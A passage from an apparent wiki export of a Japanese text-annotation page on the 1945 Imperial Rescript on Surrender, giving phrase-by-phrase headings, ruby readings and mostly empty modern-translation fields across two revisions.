&lt;ruby&gt;&lt;rb&gt;確&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かた&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;く&lt;ruby&gt;&lt;rb&gt;神&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;州&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しゅう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;不&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ふ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;滅&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;めつ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;信&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;じ、&lt;ruby&gt;&lt;rb&gt;任&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;にん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;重&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;おも&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;くして、&lt;ruby&gt;&lt;rb&gt;道&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;みち&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;遠&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;とお&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;きを&lt;ruby&gt;&lt;rb&gt;念&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;おも&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;い、&lt;ruby&gt;&lt;rb&gt;総&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;そう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;力&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;りょく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;将&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;来&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;らい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;建&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;けん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;設&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せつ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;傾&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かたむ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;け、&lt;ruby&gt;&lt;rb&gt;道&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;どう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;義&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ぎ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;篤&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;あつ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;くし、&lt;ruby&gt;&lt;rb&gt;志&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;し&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;操&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;そう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;鞏&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かた&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;くし、&lt;ruby&gt;&lt;rb&gt;誓&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちかっ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;て&lt;ruby&gt;&lt;rb&gt;国&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;体&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;たい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;精&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;華&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;か&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;発&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;はつ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;揚&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;よう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;し、&lt;ruby&gt;&lt;rb&gt;世&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;界&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;進&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;運&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;うん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;後&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;おく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;れざらんことを&lt;ruby&gt;&lt;rb&gt;期&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;き&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;すべし。&lt;ruby&gt;&lt;rb&gt;爾&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;なんじ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;臣&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;民&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;みん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;其&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;そ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;れ
&lt;ruby&gt;&lt;rb&gt;克&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;よ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;く&lt;ruby&gt;&lt;rb&gt;朕&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が&lt;ruby&gt;&lt;rb&gt;意&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;い&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;体&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;たい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;せよ。&lt;/p&gt;
&lt;/div&gt;
# [[#朕&amp;#xE0102;ハ玆ニ國體ヲ護持シ得テ]]
# [[#忠良ナル爾臣民ノ赤誠&amp;#xE0101;ニ信倚シ]]
# [[#常ニ爾臣民ト共ニ在リ]]
# [[#若シ夫レ情&amp;#xE0101;ノ激スル所&amp;#xE0101;]]
# [[#濫ニ事端ヲ滋クシ]]
# [[#或ハ同胞&amp;#xE0101;排擠]]
# [[#互ニ時局ヲ亂リ]]
# [[#爲ニ大道&amp;#xE0101;ヲ誤&amp;#xE0101;リ]]
# [[#信義ヲ世界ニ失フカ如キハ]]
# [[#朕&amp;#xE0102;最モ之ヲ戒ム]]
# [[#宜シク擧國一家子孫相傳ヘ]]
# [[#確ク神&amp;#xE0100;州ノ不滅ヲ信シ]]
# [[#任重クシテ]]
# [[#道&amp;#xE0101;遠&amp;#xE0101;キヲ念ヒ]]
# [[#總力ヲ將來ノ建&amp;#xE0101;設ニ傾ケ]]
# [[#道&amp;#xE0101;義ヲ篤クシ]]
# [[#志操ヲ鞏クシ]]
# [[#誓テ國體ノ精&amp;#xE0100;華ヲ發揚シ]]
# [[#世界ノ進&amp;#xE0101;運󠄁ニ後レサラムコトヲ期スヘシ]]
# [[#爾臣民其レ克ク朕&amp;#xE0102;カ意ヲ體セヨ]]

=== 朕&amp;#xE0102;ハ玆ニ國體ヲ護持シ得テ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 忠良ナル爾臣民ノ赤誠&amp;#xE0101;ニ信倚シ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 常ニ爾臣民ト共ニ在リ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 若シ夫レ情&amp;#xE0101;ノ激スル所&amp;#xE0101; ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 濫ニ事端ヲ滋クシ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 或ハ同胞&amp;#xE0101;排擠 ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 互ニ時局ヲ亂リ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 爲ニ大道&amp;#xE0101;ヲ誤&amp;#xE0101;リ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 信義ヲ世界ニ失フカ如キハ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 朕&amp;#xE0102;最モ之ヲ戒ム ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 宜シク擧國一家子孫相傳ヘ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 確ク神&amp;#xE0100;州ノ不滅ヲ信シ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 任重クシテ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 道&amp;#xE0101;遠&amp;#xE0101;キヲ念ヒ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 總力ヲ將來ノ建&amp;#xE0101;設ニ傾ケ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 道&amp;#xE0101;義ヲ篤クシ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 志操ヲ鞏クシ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 誓テ國體ノ精&amp;#xE0100;華ヲ發揚シ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 世界ノ進&amp;#xE0101;運󠄁ニ後レサラムコトヲ期スヘシ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 爾臣民其レ克ク朕&amp;#xE0102;カ意ヲ體セヨ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;


=== § ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;


&lt;!--
&lt;ruby&gt;&lt;rb&gt;●漢字●&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;●ルビ●&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;
--&gt;
&lt;span style=&quot;color:#500;&quot;&gt;
&lt;/span&gt;
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;p style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;


&lt;div style=&quot;break-after: page;&quot;&gt;
&lt;!--
&lt;ruby&gt;&lt;rb&gt;●漢字●&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;●ルビ●&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;
--&gt;

== 脚注 ==
&lt;references /&gt;

==  外部リンク ==

[[Category:終戦の詔書|ちゆうかい]]</text>
      <sha1>cxzfrt1q4mopcqmdgy7u6ly1dp4cbw7</sha1>
    </revision>
    <revision>
      <id>305266</id>
      <parentid>305257</parentid>
      <timestamp>2026-11-01T08:59:27Z</timestamp>
      <contributor>
        <username>Linguae</username>
        <id>449</id>
      </contributor>
      <minor />
      <comment>/* 第三段落 */ 固ヨリ朕󠄂カ志ニアラス</comment>
      <origin>305266</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="75887" sha1="3bcpqaznxweo57t6i7lmtdyielf1vfv" xml:space="preserve">&lt;!--【2026年8月16日起稿】--&gt;
*[[第二次世界大戦]]＞[[終戦の詔書]]＞
&lt;div style=&quot;font-family:游明朝;font-size:35pt;text-align:center;&quot;&gt;終&amp;#xE0101;戰ノ詔書&lt;/div&gt;
&lt;div style=&quot;font-family:游明朝;font-size:20pt;text-align:center;&quot;&gt;テキスト註解&lt;/div&gt;

　ここでは、昭和20年8月14日に発布された詔書、いわゆる「終戦の詔書」のテキストを注解する。

== テキスト注解（昭和二十年八月十四日の詔書）==
; [[#第一段落]]　　[[#第二段落]]　　[[#第三段落]]　　[[#第四段落]]　　[[#第五段落]]
:　
; 第一段落
# [[#朕󠄂&amp;#xE0102;（ちん）]]
# [[#朕󠄂&amp;#xE0102;深ク世界ノ大勢ト帝國ノ現狀トニ鑑ミ]]
# [[#非常ノ措置ヲ以テ時局ヲ收拾セムト欲シ]]
# [[#玆ニ忠良ナル爾臣民ニ吿ク]]
; 第二段落
# [[#朕&amp;#xE0102;ハ帝國政府ヲシテ]]
# [[#米英支蘇四國ニ對シ]]
# [[#其ノ共同宣言ヲ受諾スル旨通󠄁吿セシメタリ]]
; [[#第三段落]]
# [[#抑〻帝國臣民ノ康寧ヲ圖リ]]
# [[#萬邦&amp;#xE0102;共榮ノ樂ヲ偕ニスルハ]]
# [[#皇祖&amp;#xFE00;皇宗ノ遺&amp;#xE0101;範ニシテ]]
# [[#朕&amp;#xE0102;ノ拳&amp;#xE0101;々措カサル所&amp;#xE0101;]]
# [[#曩ニ米英二國ニ宣戰セル所&amp;#xE0101;以モ亦]]
# [[#實ニ帝國ノ自存ト東亞ノ安定トヲ庻&amp;#xE0100;幾󠄁&amp;#xE0101;スルニ出テ]]
# [[#他國ノ主權ヲ排シ領土ヲ侵󠄁スカ如キハ]]
# [[#固ヨリ朕&amp;#xE0102;カ志ニアラス]]
# [[#然ルニ交&amp;#xE0101;戰已ニ四歲ヲ閱シ]]
# [[#朕&amp;#xE0102;カ陸海&amp;#xE0100;將兵ノ勇&amp;#xE0101;戰]]
# [[#朕&amp;#xE0102;カ百僚有司ノ勵精&amp;#xE0100;]]
# [[#朕&amp;#xE0102;カ一億衆庻&amp;#xE0100;ノ奉公󠄁]]
# [[#各〻最善ヲ盡セルニ拘ラス]]
# [[#戰局必スシモ好轉セス]]
# [[#世界ノ大勢亦我ニ利アラス]]
# [[#加之敵ハ新ニ殘虐󠄁ナル爆彈ヲ使󠄁用シテ]]
# [[#頻&amp;#xE0100;ニ無辜ヲ殺&amp;#xE0100;傷シ]]
# [[#慘害&amp;#xE0102;ノ及&amp;#xE0101;フ所&amp;#xE0101;眞ニ測ルヘカラサルニ至ル]]
# [[#而モ尙交&amp;#xE0101;戰ヲ繼續セムカ]]
# [[#終&amp;#xE0101;ニ我カ民族ノ滅亡ヲ招來スルノミナラス]]
# [[#延&amp;#xE0102;テ人類&amp;#xE0100;ノ文&amp;#xE0101;明ヲモ破却スヘシ]]
# [[#斯ノ如クムハ]]
# [[#朕&amp;#xE0102;何ヲ以テカ億兆ノ赤子ヲ保シ]]
# [[#皇祖&amp;#xFE00;皇宗ノ神&amp;#xE0100;靈ニ謝セムヤ]]
# [[#是レ朕&amp;#xE0102;カ帝國政府ヲシテ共同宣言ニ應セシムルニ至レル所&amp;#xE0101;以ナリ]]
; [[#第四段落]]
# [[#朕&amp;#xE0102;ハ帝國ト共ニ]]
# [[#終&amp;#xE0101;始東亞ノ解放ニ協力セル諸&amp;#xE0100;盟邦&amp;#xE0102;ニ對シ]]
# [[#遺&amp;#xE0101;憾ノ意ヲ表セサルヲ得ス]]
# [[#帝國臣民ニシテ]]
# [[#戰陣ニ死シ]]
# [[#職域ニ殉シ]]
# [[#非命ニ斃レタル者&amp;#xE0101;]]
# [[#及&amp;#xE0101;其ノ遺&amp;#xE0101;族ニ想ヲ致セハ]]
# [[#五內爲ニ裂ク]]
# [[#且戰傷ヲ負&amp;#xE0102;ヒ]]
# [[#災禍&amp;#xE0100;ヲ蒙リ]]
# [[#家業ヲ失ヒタル者&amp;#xE0101;ノ]]
# [[#厚生ニ至リテハ]]
# [[#朕&amp;#xE0102;ノ深ク軫念スル所&amp;#xE0101;ナリ]]
# [[#惟フニ今後帝國ノ受クヘキ苦難&amp;#xE0100;ハ]]
# [[#固ヨリ尋&amp;#xE0101;常ニアラス]]
# [[#爾臣民ノ衷情&amp;#xE0101;モ朕&amp;#xE0102;善ク之ヲ知ル]]
# [[#然レトモ朕&amp;#xE0102;ハ時運&amp;#xE0101;ノ趨ク所&amp;#xE0101;]]
# [[#堪ヘ難&amp;#xE0100;キヲ堪ヘ忍&amp;#xE0101;ヒ難&amp;#xE0100;キヲ忍&amp;#xE0101;ヒ]]
# [[#以テ萬世ノ爲ニ太平&amp;#xE0101;ヲ開カムト欲ス]]
; [[#第五段落]]
# [[#朕&amp;#xE0102;ハ玆ニ國體ヲ護持シ得テ]]
# [[#忠良ナル爾臣民ノ赤誠&amp;#xE0101;ニ信倚シ]]
# [[#常ニ爾臣民ト共ニ在リ]]
# [[#若シ夫レ情&amp;#xE0101;ノ激スル所&amp;#xE0101;]]
# [[#濫ニ事端ヲ滋クシ]]
# [[#或ハ同胞&amp;#xE0101;排擠]]
# [[#互ニ時局ヲ亂リ]]
# [[#爲ニ大道&amp;#xE0101;ヲ誤&amp;#xE0101;リ]]
# [[#信義ヲ世界ニ失フカ如キハ]]
# [[#朕&amp;#xE0102;最モ之ヲ戒ム]]
# [[#宜シク擧國一家子孫相傳ヘ]]
# [[#確ク神&amp;#xE0100;州ノ不滅ヲ信シ]]
# [[#任重クシテ]]
# [[#道&amp;#xE0101;遠&amp;#xE0101;キヲ念ヒ]]
# [[#總力ヲ將來ノ建&amp;#xE0101;設ニ傾ケ]]
# [[#道&amp;#xE0101;義ヲ篤クシ]]
# [[#志操ヲ鞏クシ]]
# [[#誓テ國體ノ精&amp;#xE0100;華ヲ發揚シ]]
# [[#世界ノ進&amp;#xE0101;運󠄁ニ後レサラムコトヲ期スヘシ]]
# [[#爾臣民其レ克ク朕&amp;#xE0102;カ意ヲ體セヨ]]

== 第一段落 ==
&lt;!--◆第一段落--&gt;&lt;div style=&quot;background-color:#ffd;&quot;&gt;
&lt;p style=&quot;line-height:1.3; margin-bottom: 15px; text-align:left; font-family:游明朝;font-size:13pt;&quot;&gt;（原文）&lt;span style=&quot;color:#500;&quot;&gt;朕&amp;#xE0102;&lt;/span&gt;深ク世界ノ大勢ト帝國ノ現狀トニ鑑ミ非常ノ措置ヲ以テ時局ヲ收拾セムト欲シ玆ニ忠良ナル爾臣民ニ吿ク&lt;/p&gt;
&lt;p style=&quot;background-color:#ffe; line-height:1.3; font-family:游明朝;font-size:13pt;&quot;&gt;&lt;ruby&gt;&lt;rb&gt;朕&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;深&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ふか&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;く&lt;ruby&gt;&lt;rb&gt;世&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;界&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;大&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;たい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;勢&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;と&lt;ruby&gt;&lt;rb&gt;帝&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;てい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;国&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;現&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;げん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;状&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;とに&lt;ruby&gt;&lt;rb&gt;鑑&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かんが&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;み、&lt;ruby&gt;&lt;rb&gt;非&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ひ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;常&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;措&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;そ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;置&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ち&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;以&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;もっ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;て&lt;ruby&gt;&lt;rb&gt;時&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;局&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;きょく&lt;/rt&gt;&lt;rp&gt;）&lt